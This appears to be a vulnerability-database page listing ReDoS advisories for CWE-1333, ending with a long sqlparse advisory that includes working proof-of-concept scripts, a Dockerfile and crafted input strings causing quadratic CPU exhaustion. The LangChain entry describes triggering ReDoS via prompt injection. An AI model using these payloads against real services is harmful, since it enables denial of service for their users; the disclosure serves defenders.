GCVE Workshop - 22 September 2026 (14:00-18:00), Luxembourg Before The Vulnopticon Conference - Registration
Common Weakness Enumeration

CWE-1333

Allowed

Inefficient Regular Expression Complexity

Abstraction: Base · Status: Draft

The product uses a regular expression with a worst-case computational complexity that is inefficient and possibly exponential.

822 vulnerabilities reference this CWE, most recent first.

GHSA-PJF2-268R-G6X9

Vulnerability from github – Published: 2024-10-11 21:31 – Updated: 2024-10-17 21:31
VLAI
Details

Znuny before LTS 6.5.1 through 6.5.10 and 7.0.1 through 7.0.16 allows DoS/ReDos via email. Parsing the content of emails where HTML code is copied from Microsoft Word could lead to high CPU usage and block the parsing process.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-48938"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-10-11T21:15:07Z",
    "severity": "HIGH"
  },
  "details": "Znuny before LTS 6.5.1 through 6.5.10 and 7.0.1 through 7.0.16 allows DoS/ReDos via email. Parsing the content of emails where HTML code is copied from Microsoft Word could lead to high CPU usage and block the parsing process.",
  "id": "GHSA-pjf2-268r-g6x9",
  "modified": "2024-10-17T21:31:30Z",
  "published": "2024-10-11T21:31:35Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-48938"
    },
    {
      "type": "WEB",
      "url": "https://www.znuny.com"
    },
    {
      "type": "WEB",
      "url": "https://www.znuny.org/en/advisories"
    },
    {
      "type": "WEB",
      "url": "https://www.znuny.org/en/advisories/zsa-2024-04"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-PJWM-CR36-MWV3

Vulnerability from github – Published: 2024-11-14 22:44 – Updated: 2024-11-14 22:44
VLAI
Summary
ReDoS in giskard's transformation.py (GHSL-2024-324)
Details

ReDoS in Giskard text perturbation detector

A Remote Code Execution (ReDoS) vulnerability was discovered in Giskard component by the GitHub Security Lab team. When processing datasets with specific text patterns with Giskard detectors, this vulnerability could trigger exponential regex evaluation times, potentially leading to denial of service.

Details

The vulnerability affects Giskard's punctuation removal transformation used in the text perturbation detection. A regex used to detect URLs and links was vulnerable to catastrophic backtracking that could be triggered by specific patterns in the text.

Affected version

Giskard versions prior to 2.15.5 are affected. Users should upgrade to version 2.15.5 or later, which includes a fix for this vulnerability.

Impact

This vulnerability can cause extended computation times or crashes in Giskard when processing text containing certain patterns.

Credit

This issue was discovered and reported by GHSL team member @kevinbackhouse (Kevin Backhouse).

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.15.4"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "giskard"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.15.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-52524"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-11-14T22:44:36Z",
    "nvd_published_at": "2024-11-14T18:15:26Z",
    "severity": "MODERATE"
  },
  "details": "# ReDoS in Giskard text perturbation detector\n\nA Remote Code Execution (ReDoS) vulnerability was discovered in Giskard component by the [GitHub Security Lab](https://securitylab.github.com) team. When processing datasets with specific text patterns with Giskard detectors, this vulnerability could trigger exponential regex evaluation times, potentially leading to denial of service.\n\n## Details\n\nThe vulnerability affects Giskard\u0027s punctuation removal transformation used in the text perturbation detection. A regex used to detect URLs and links was vulnerable to catastrophic backtracking that could be triggered by specific patterns in the text.\n\n## Affected version\n\nGiskard versions prior to 2.15.5 are affected. Users should upgrade to version 2.15.5 or later, which includes a fix for this vulnerability.\n\n## Impact\n\nThis vulnerability can cause extended computation times or crashes in Giskard when processing text containing certain patterns.\n\n## Credit\n\nThis issue was discovered and reported by GHSL team member [@kevinbackhouse (Kevin Backhouse)](https://github.com/kevinbackhouse).",
  "id": "GHSA-pjwm-cr36-mwv3",
  "modified": "2024-11-14T22:44:36Z",
  "published": "2024-11-14T22:44:36Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Giskard-AI/giskard/security/advisories/GHSA-pjwm-cr36-mwv3"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-52524"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Giskard-AI/giskard/commit/48ce81f5c626171767188d6f0669498fb613b4d3"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Giskard-AI/giskard"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:Clear",
      "type": "CVSS_V4"
    }
  ],
  "summary": "ReDoS in giskard\u0027s transformation.py (GHSL-2024-324)"
}

GHSA-PMVV-57RG-5G86

Vulnerability from github – Published: 2024-10-26 21:30 – Updated: 2024-11-13 23:24
VLAI
Summary
CommonRegexJS Regular Expression Denial of Service vulnerability
Details

CommonRegexJS is a CommonRegex port for JavaScript. All available versions contain one or more regular expressions that are vulnerable to Regular Expression Denial of Service (ReDoS). As of time of publication, no known patches are available.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "commonregex"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "0.3.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2020-26305"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-10-28T14:44:58Z",
    "nvd_published_at": "2024-10-26T21:15:13Z",
    "severity": "MODERATE"
  },
  "details": "CommonRegexJS is a CommonRegex port for JavaScript. All available versions contain one or more regular expressions that are vulnerable to Regular Expression Denial of Service (ReDoS). As of time of publication, no known patches are available.",
  "id": "GHSA-pmvv-57rg-5g86",
  "modified": "2024-11-13T23:24:33Z",
  "published": "2024-10-26T21:30:46Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-26305"
    },
    {
      "type": "WEB",
      "url": "https://github.com/talyssonoc/CommonRegexJS/issues/4"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/talyssonoc/CommonRegexJS"
    },
    {
      "type": "ADVISORY",
      "url": "https://securitylab.github.com/advisories/GHSL-2020-291-redos-CommonRegexJS"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:U/U:Green",
      "type": "CVSS_V4"
    }
  ],
  "summary": "CommonRegexJS Regular Expression Denial of Service vulnerability"
}

GHSA-PPJ4-34RQ-V8J9

Vulnerability from github – Published: 2021-10-25 19:43 – Updated: 2024-05-20 20:41
VLAI
Summary
github.com/tidwall/gjson Vulnerable to REDoS attack
Details

GJSON is a Go package that provides a fast and simple way to get values from a json document. GJSON before 1.9.3 allows a ReDoS (regular expression denial of service) attack.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/tidwall/gjson"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.9.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2021-42836"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333",
      "CWE-400",
      "CWE-697"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-10-25T18:27:20Z",
    "nvd_published_at": "2021-10-22T18:15:00Z",
    "severity": "HIGH"
  },
  "details": "GJSON is a Go package that provides a fast and simple way to get values from a json document. GJSON before 1.9.3 allows a ReDoS (regular expression denial of service) attack.",
  "id": "GHSA-ppj4-34rq-v8j9",
  "modified": "2024-05-20T20:41:04Z",
  "published": "2021-10-25T19:43:15Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-42836"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tidwall/gjson/issues/236"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tidwall/gjson/issues/237"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tidwall/gjson/commit/590010fdac311cc8990ef5c97448d4fec8f29944"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tidwall/gjson/commit/77a57fda87dca6d0d7d4627d512a630f89a91c96"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/tidwall/gjson"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tidwall/gjson/compare/v1.9.2...v1.9.3"
    },
    {
      "type": "WEB",
      "url": "https://pkg.go.dev/vuln/GO-2021-0265"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "github.com/tidwall/gjson Vulnerable to REDoS attack"
}

GHSA-PQ2W-3M7X-QX76

Vulnerability from github – Published: 2026-01-13 00:30 – Updated: 2026-01-21 18:30
VLAI
Details

LangChain versions up to and including 0.3.1 contain a regular expression denial-of-service (ReDoS) vulnerability in the MRKLOutputParser.parse() method (libs/langchain/langchain/agents/mrkl/output_parser.py). The parser applies a backtracking-prone regular expression when extracting tool actions from model output. An attacker who can supply or influence the parsed text (for example via prompt injection in downstream applications that pass LLM output directly into MRKLOutputParser.parse()) can trigger excessive CPU consumption by providing a crafted payload, causing significant parsing delays and a denial-of-service condition.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-58340"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-01-12T23:15:51Z",
    "severity": "HIGH"
  },
  "details": "LangChain versions up to and including 0.3.1 contain a regular expression denial-of-service (ReDoS) vulnerability in the MRKLOutputParser.parse() method (libs/langchain/langchain/agents/mrkl/output_parser.py). The parser applies a backtracking-prone regular expression when extracting tool actions from model output. An attacker who can supply or influence the parsed text (for example via prompt injection in downstream applications that pass LLM output directly into MRKLOutputParser.parse()) can trigger excessive CPU consumption by providing a crafted payload, causing significant parsing delays and a denial-of-service condition.",
  "id": "GHSA-pq2w-3m7x-qx76",
  "modified": "2026-01-21T18:30:27Z",
  "published": "2026-01-13T00:30:46Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-58340"
    },
    {
      "type": "WEB",
      "url": "https://github.com/langchain-ai/langchain"
    },
    {
      "type": "WEB",
      "url": "https://huntr.com/bounties/e7ece02c-d4bb-4166-8e08-6baf4f8845bb"
    },
    {
      "type": "WEB",
      "url": "https://www.langchain.com"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/langchain-mrkloutputparser-redos"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-PQWW-M5HF-XXFH

Vulnerability from github – Published: 2023-06-06 18:30 – Updated: 2024-04-04 04:36
VLAI
Details

An issue has been discovered in GitLab CE/EE affecting all versions starting from 15.4 before 15.10.8, all versions starting from 15.11 before 15.11.7, all versions starting from 16.0 before 16.0.2. A DollarMathPostFilter Regular Expression Denial of Service in was possible by sending crafted payloads to the preview_markdown endpoint.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-2132"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-06-06T17:15:14Z",
    "severity": "HIGH"
  },
  "details": "An issue has been discovered in GitLab CE/EE affecting all versions starting from 15.4 before 15.10.8, all versions starting from 15.11 before 15.11.7, all versions starting from 16.0 before 16.0.2. A DollarMathPostFilter Regular Expression Denial of Service in was possible by sending crafted payloads to the preview_markdown endpoint.",
  "id": "GHSA-pqww-m5hf-xxfh",
  "modified": "2024-04-04T04:36:15Z",
  "published": "2023-06-06T18:30:20Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-2132"
    },
    {
      "type": "WEB",
      "url": "https://hackerone.com/reports/1934711"
    },
    {
      "type": "WEB",
      "url": "https://gitlab.com/gitlab-org/cves/-/blob/master/2023/CVE-2023-2132.json"
    },
    {
      "type": "WEB",
      "url": "https://gitlab.com/gitlab-org/gitlab/-/issues/407586"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-PRG7-HCFM-MFCR

Vulnerability from github – Published: 2026-08-17 17:49 – Updated: 2026-08-17 17:49
VLAI
Summary
sqlparse: Inefficient Regex Handling of Dollar-Quoted SQL Literals Leads to ReDoS (Denial of Service)
Details

Summary

sqlparse contains a Regular Expression Denial of Service (ReDoS) vulnerability in its dollar-quoted SQL literal lexer. The regex pattern at sqlparse/keywords.py:33 uses a backreference (\1) to match closing dollar-quote delimiters, causing O(n²) CPU complexity when processing inputs containing many unique, unmatched dollar-quote opening sequences. An attacker who can supply arbitrary SQL text to any application using sqlparse can trigger sustained CPU exhaustion, resulting in a denial of service. No authentication or special privileges are required.

Scope note: the same regex shape — a lazy dot-all quantifier terminated by a delimiter, applied at every input position by the lexer loop — is also present in the two multiline-comment patterns. Those are covered by this advisory and by the same fix; see "Additional affected pattern: multiline comments" below.

Details

The vulnerable regex is defined in sqlparse/keywords.py as part of SQL_REGEX:

# sqlparse/keywords.py:33
(r'((?<![\w\"\$])\$(?:[_A-ZÀ-Ü]\w*)?\$)[\s\S]*?\1', tokens.Literal),

This pattern first captures a dollar-quote delimiter (e.g., $tag$) into group 1, then attempts to match any characters ([\s\S]*?) up to the same delimiter again via backreference \1. When no matching closing delimiter exists, the regex engine exhausts the remaining input before concluding there is no match. For a sequence of N unique unmatched openers, each opener triggers a full scan of the remaining string, yielding O(N²) total regex work.

The lexer applies this regex at every character position (sqlparse/lexer.py:136-138):

# sqlparse/lexer.py:136-138
for pos, char in iterable:
    for rexmatch, action in self._SQL_REGEX:
        m = rexmatch(text, pos)

The data flow from public API to the vulnerable sink is:

  1. sqlparse/__init__.py:20parse(sql) accepts caller-controlled SQL.
  2. sqlparse/__init__.py:29 — delegates to parsestream(sql, encoding).
  3. sqlparse/__init__.py:43FilterStack.run(stream, encoding) is invoked.
  4. sqlparse/engine/filter_stack.py:31lexer.tokenize(sql, encoding) is called with no length limit or timeout.
  5. sqlparse/lexer.py:137 — every regex in _SQL_REGEX is tried at the current position.
  6. sqlparse/keywords.py:33 — the backreference regex performs repeated delimiter searches.

The MAX_GROUPING_TOKENS = 10000 limit in sqlparse/engine/grouping.py:20 fires only after lexing completes and does not bound regex CPU time. There is no input length check, delimiter count check, or regex timeout before the sink.

Empirically measured scaling confirms super-linear complexity:

Input (N unique openers) Bytes Elapsed
250 1,889 0.066 s
500 3,889 0.144 s
1,000 7,889 0.397 s
2,000 16,889 1.314 s

The timing ratio from n=1000 to n=2000 is 3.31× (input doubled → time tripled), confirming O(n²) growth.

PoC

Prerequisites: Python 3.x with sqlparse installed (tested against version 0.5.6.dev0, commit c923da9).

Using Docker (isolated reproduction):

# Build from the repository root (parent of vuln-001/)
docker build -t sqlparse-vuln001 -f vuln-001/Dockerfile .

# Run with no network access
docker run --rm --network=none sqlparse-vuln001

Direct Python reproduction:

import time
import sqlparse
from sqlparse.exceptions import SQLParseError

def make_payload(n: int) -> str:
    # N unique unmatched dollar-quote openers — none have a matching closing delimiter
    return " ".join(f"$a{i}$x" for i in range(n))

for n in [250, 500, 1000, 2000]:
    payload = make_payload(n)
    t0 = time.perf_counter()
    try:
        sqlparse.parse(payload)
        status = "ok"
    except SQLParseError as e:
        status = f"SQLParseError: {e}"
    elapsed = time.perf_counter() - t0
    print(f"n={n:>5}  bytes={len(payload):>7}  elapsed={elapsed:.3f}s  status={status}")

Expected output (super-linear scaling confirms ReDoS):

n=  250  bytes=   1889  elapsed=0.066s  status=ok
n=  500  bytes=   3889  elapsed=0.144s  status=ok
n= 1000  bytes=   7889  elapsed=0.397s  status=ok
n= 2000  bytes=  16889  elapsed=1.314s  status=ok

Key ratio (n=1000 -> n=2000): 3.31x
[PASS] Super-linear (O(n^2)) scaling CONFIRMED.

Attack input structure:

$a0$x $a1$x $a2$x ... $a{N-1}$x

Each token $ai$x resembles a PostgreSQL-style dollar-quote opening tag. Because every tag is unique and no closing tag is present, the regex engine must scan to the end of the string for each opener before backtracking.

Remediation (proposed patch):

Replace the backreference regex with a deterministic two-pass approach: first locate all delimiter positions with re.finditer, then resolve open/close pairs in O(n) time, eliminating catastrophic backtracking entirely. See report_excerpt.md for the full diff.

Additional affected pattern: multiline comments

Reported independently as GHSA-3crh-2448-7855 (by @7thParkk) and merged into this advisory: it is the same defect class in the same lexer loop, and it is addressed by the same fix.

Two further entries in SQL_REGEX use the same lazy dot-all shape, terminated by a literal delimiter instead of a backreference:

# sqlparse/keywords.py:20
(r'/\*\+[\s\S]*?\*/', tokens.Comment.Multiline.Hint),
# sqlparse/keywords.py:23
(r'/\*[\s\S]*?\*/',    tokens.Comment.Multiline),

A backreference is not required to trigger the quadratic behaviour. The cost comes from the lexer retrying every pattern at every input position (sqlparse/lexer.py:136-138): an unterminated /* scans to the end of the input and fails, so N unclosed openers cost O(N²).

PoC

import time, sqlparse

for n in (2000, 4000, 8000, 16000):
    payload = "/*x " * n
    t0 = time.perf_counter()
    sqlparse.parse(payload)
    print(f"n={n:6d}  bytes={len(payload):7d}  elapsed={time.perf_counter()-t0:.3f}s")

Lexing-only timings on 0.5.6.dev0 (commit f80af6a), isolating the regex work from grouping:

openers bytes lexing
2,000 8 KB 0.057 s
4,000 16 KB 0.196 s
8,000 32 KB 0.729 s
16,000 64 KB 2.717 s

Roughly 3.7x per doubling of the input, i.e. quadratic.

Note for reproduction: "/*" * n on its own is linear and does not reproduce the issue — in /*/*/*... the openers form overlapping */ pairs, so the pattern matches immediately. The opener must be padded (e.g. "/*x ") so that it never closes. A reproduction that only tries the unpadded form will wrongly conclude the issue is not present.

Impact

This is a Regular Expression Denial of Service (ReDoS) vulnerability. Any application or service that passes user-controlled SQL text to sqlparse.parse(), sqlparse.format(), or sqlparse.split() is affected. No authentication, special configuration, or elevated privileges are required — a single crafted HTTP request (or any other input channel carrying SQL text) is sufficient.

Under sustained attack, one or more CPU cores can be kept at 100% utilization, degrading or completely blocking service for all other users. Because the grouping-stage token limit fires only after the regex work is done, it provides no protection against this attack.

Affected use cases include: web applications that accept and display or format SQL; database administration tools; ORM query inspectors; SQL linters and formatters exposed as APIs.

Reproduction artifacts

Dockerfile

FROM python:3.11-slim

# Install build dependencies
RUN apt-get update && apt-get install -y --no-install-recommends \
    build-essential \
    && rm -rf /var/lib/apt/lists/*

WORKDIR /app

# Copy the sqlparse repository source code
COPY repo/ /app/repo/

# Install sqlparse from local source in editable mode
RUN pip install --no-cache-dir -e /app/repo/

# Copy the PoC script (build context is the parent of vuln-001/)
COPY vuln-001/poc.py /app/poc.py

# Default: run the PoC
CMD ["python3", "/app/poc.py"]

poc.py

"""
PoC: ReDoS in sqlparse dollar-quoted literal regex (VULN-001)

Affected code: sqlparse/keywords.py:33
    (r'((?<![\\w\\"\\$])\\$(?:[_A-ZÀ-Ü]\\w*)?\\$)[\\s\\S]*?\\1', tokens.Literal)

The backreference \\1 forces the regex engine to scan the entire remaining input
for each unmatched unique dollar-quote delimiter, yielding O(n^2) CPU complexity.

Attack input: a sequence of N unique, never-closed dollar-quote openers
    $a0$x $a1$x $a2$x ... $a{N-1}$x

Each opener $ai$ is unique, so the regex engine must exhaust the remaining
string before concluding no match exists.  With N openers this creates
O(N^2) regex work.

Expected observation: elapsed time grows quadratically (roughly 4x per 2x N).
PASS criterion: timing ratio between n=2000 and n=1000 >= 3.0 (clear super-linear).
"""

import sys
import time

try:
    import sqlparse
    from sqlparse.exceptions import SQLParseError
except ImportError as exc:
    print(f"[ERROR] Cannot import sqlparse: {exc}", file=sys.stderr)
    sys.exit(2)

print("=" * 60)
print("VULN-001 ReDoS PoC: sqlparse dollar-quoted literal regex")
print("=" * 60)
print(f"sqlparse version: {sqlparse.__version__}")
print()


def make_payload(n: int) -> str:
    """Generate N unique unmatched dollar-quote openers.

    Each token '$ai$x' looks like an opening dollar-quote delimiter
    but never has a closing delimiter, so the regex engine must scan
    the entire remaining string before giving up on each one.
    """
    return " ".join(f"$a{i}$x" for i in range(n))


results = []

sample_sizes = [250, 500, 1000, 2000]

for n in sample_sizes:
    payload = make_payload(n)
    byte_len = len(payload.encode())
    t_start = time.perf_counter()
    try:
        sqlparse.parse(payload)
        status = "ok"
    except SQLParseError as exc:
        status = f"SQLParseError({exc})"
    except Exception as exc:
        status = f"Exception({type(exc).__name__}: {exc})"
    elapsed = time.perf_counter() - t_start

    results.append((n, byte_len, elapsed, status))
    print(f"n={n:>5}  bytes={byte_len:>7}  elapsed={elapsed:>8.3f}s  status={status}")

print()

# Compute scaling ratios between consecutive sample sizes
print("Scaling analysis (O(n^2) expected -> ratio >= ~4x per 2x input):")
for i in range(1, len(results)):
    n_prev, _, t_prev, _ = results[i - 1]
    n_curr, _, t_curr, _ = results[i]
    if t_prev > 0:
        ratio = t_curr / t_prev
        n_ratio = n_curr / n_prev
        print(f"  n={n_prev} -> n={n_curr} (input x{n_ratio:.1f}): time ratio = {ratio:.2f}x")

print()

# PASS/FAIL verdict based on timing ratio between largest two points
_, _, t_1000, _ = results[2]  # n=1000
_, _, t_2000, _ = results[3]  # n=2000

PASS_THRESHOLD = 3.0

if t_1000 > 0:
    ratio_1000_2000 = t_2000 / t_1000
else:
    ratio_1000_2000 = 0.0

print(f"Key ratio (n=1000 -> n=2000): {ratio_1000_2000:.2f}x")

if ratio_1000_2000 >= PASS_THRESHOLD:
    print()
    print("[PASS] Super-linear (O(n^2)) scaling CONFIRMED.")
    print(f"       Time ratio {ratio_1000_2000:.2f}x >= threshold {PASS_THRESHOLD}x.")
    print("       ReDoS vulnerability in sqlparse dollar-quote regex is REPRODUCED.")
    sys.exit(0)
else:
    print()
    print("[FAIL] Super-linear scaling NOT confirmed within this run.")
    print(f"       Time ratio {ratio_1000_2000:.2f}x < threshold {PASS_THRESHOLD}x.")
    print("       The host may be too fast or JIT effects obscured the result.")
    print("       Try larger sample sizes or re-run on a slower host.")
    sys.exit(1)
Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.5.6.dev0"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "sqlparse"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.6.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-59893"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-17T17:49:55Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\nsqlparse contains a Regular Expression Denial of Service (ReDoS) vulnerability in its dollar-quoted SQL literal lexer. The regex pattern at `sqlparse/keywords.py:33` uses a backreference (`\\1`) to match closing dollar-quote delimiters, causing O(n\u00b2) CPU complexity when processing inputs containing many unique, unmatched dollar-quote opening sequences. An attacker who can supply arbitrary SQL text to any application using sqlparse can trigger sustained CPU exhaustion, resulting in a denial of service. No authentication or special privileges are required.\n\n**Scope note:** the same regex shape \u2014 a lazy dot-all quantifier terminated by a delimiter, applied at every input position by the lexer loop \u2014 is also present in the two multiline-comment patterns. Those are covered by this advisory and by the same fix; see \"Additional affected pattern: multiline comments\" below.\n\n### Details\n\nThe vulnerable regex is defined in `sqlparse/keywords.py` as part of `SQL_REGEX`:\n\n```python\n# sqlparse/keywords.py:33\n(r\u0027((?\u003c![\\w\\\"\\$])\\$(?:[_A-Z\u00c0-\u00dc]\\w*)?\\$)[\\s\\S]*?\\1\u0027, tokens.Literal),\n```\n\nThis pattern first captures a dollar-quote delimiter (e.g., `$tag$`) into group 1, then attempts to match any characters (`[\\s\\S]*?`) up to the same delimiter again via backreference `\\1`. When no matching closing delimiter exists, the regex engine exhausts the remaining input before concluding there is no match. For a sequence of N unique unmatched openers, each opener triggers a full scan of the remaining string, yielding O(N\u00b2) total regex work.\n\nThe lexer applies this regex at every character position (`sqlparse/lexer.py:136-138`):\n\n```python\n# sqlparse/lexer.py:136-138\nfor pos, char in iterable:\n    for rexmatch, action in self._SQL_REGEX:\n        m = rexmatch(text, pos)\n```\n\nThe data flow from public API to the vulnerable sink is:\n\n1. `sqlparse/__init__.py:20` \u2014 `parse(sql)` accepts caller-controlled SQL.\n2. `sqlparse/__init__.py:29` \u2014 delegates to `parsestream(sql, encoding)`.\n3. `sqlparse/__init__.py:43` \u2014 `FilterStack.run(stream, encoding)` is invoked.\n4. `sqlparse/engine/filter_stack.py:31` \u2014 `lexer.tokenize(sql, encoding)` is called with no length limit or timeout.\n5. `sqlparse/lexer.py:137` \u2014 every regex in `_SQL_REGEX` is tried at the current position.\n6. `sqlparse/keywords.py:33` \u2014 the backreference regex performs repeated delimiter searches.\n\nThe `MAX_GROUPING_TOKENS = 10000` limit in `sqlparse/engine/grouping.py:20` fires only after lexing completes and does not bound regex CPU time. There is no input length check, delimiter count check, or regex timeout before the sink.\n\nEmpirically measured scaling confirms super-linear complexity:\n\n| Input (N unique openers) | Bytes  | Elapsed  |\n|--------------------------|--------|----------|\n| 250                      | 1,889  | 0.066 s  |\n| 500                      | 3,889  | 0.144 s  |\n| 1,000                    | 7,889  | 0.397 s  |\n| 2,000                    | 16,889 | 1.314 s  |\n\nThe timing ratio from n=1000 to n=2000 is **3.31\u00d7** (input doubled \u2192 time tripled), confirming O(n\u00b2) growth.\n\n### PoC\n\n**Prerequisites:** Python 3.x with sqlparse installed (tested against version `0.5.6.dev0`, commit `c923da9`).\n\n**Using Docker (isolated reproduction):**\n\n```bash\n# Build from the repository root (parent of vuln-001/)\ndocker build -t sqlparse-vuln001 -f vuln-001/Dockerfile .\n\n# Run with no network access\ndocker run --rm --network=none sqlparse-vuln001\n```\n\n**Direct Python reproduction:**\n\n```python\nimport time\nimport sqlparse\nfrom sqlparse.exceptions import SQLParseError\n\ndef make_payload(n: int) -\u003e str:\n    # N unique unmatched dollar-quote openers \u2014 none have a matching closing delimiter\n    return \" \".join(f\"$a{i}$x\" for i in range(n))\n\nfor n in [250, 500, 1000, 2000]:\n    payload = make_payload(n)\n    t0 = time.perf_counter()\n    try:\n        sqlparse.parse(payload)\n        status = \"ok\"\n    except SQLParseError as e:\n        status = f\"SQLParseError: {e}\"\n    elapsed = time.perf_counter() - t0\n    print(f\"n={n:\u003e5}  bytes={len(payload):\u003e7}  elapsed={elapsed:.3f}s  status={status}\")\n```\n\n**Expected output (super-linear scaling confirms ReDoS):**\n\n```\nn=  250  bytes=   1889  elapsed=0.066s  status=ok\nn=  500  bytes=   3889  elapsed=0.144s  status=ok\nn= 1000  bytes=   7889  elapsed=0.397s  status=ok\nn= 2000  bytes=  16889  elapsed=1.314s  status=ok\n\nKey ratio (n=1000 -\u003e n=2000): 3.31x\n[PASS] Super-linear (O(n^2)) scaling CONFIRMED.\n```\n\n**Attack input structure:**\n\n```\n$a0$x $a1$x $a2$x ... $a{N-1}$x\n```\n\nEach token `$ai$x` resembles a PostgreSQL-style dollar-quote opening tag. Because every tag is unique and no closing tag is present, the regex engine must scan to the end of the string for each opener before backtracking.\n\n**Remediation (proposed patch):**\n\nReplace the backreference regex with a deterministic two-pass approach: first locate all delimiter positions with `re.finditer`, then resolve open/close pairs in O(n) time, eliminating catastrophic backtracking entirely. See `report_excerpt.md` for the full diff.\n\n### Additional affected pattern: multiline comments\n\nReported independently as GHSA-3crh-2448-7855 (by @7thParkk) and merged into this advisory: it is the same defect class in the same lexer loop, and it is addressed by the same fix.\n\nTwo further entries in `SQL_REGEX` use the same lazy dot-all shape, terminated by a literal delimiter instead of a backreference:\n\n```python\n# sqlparse/keywords.py:20\n(r\u0027/\\*\\+[\\s\\S]*?\\*/\u0027, tokens.Comment.Multiline.Hint),\n# sqlparse/keywords.py:23\n(r\u0027/\\*[\\s\\S]*?\\*/\u0027,    tokens.Comment.Multiline),\n```\n\nA backreference is not required to trigger the quadratic behaviour. The cost comes from the lexer retrying every pattern at every input position 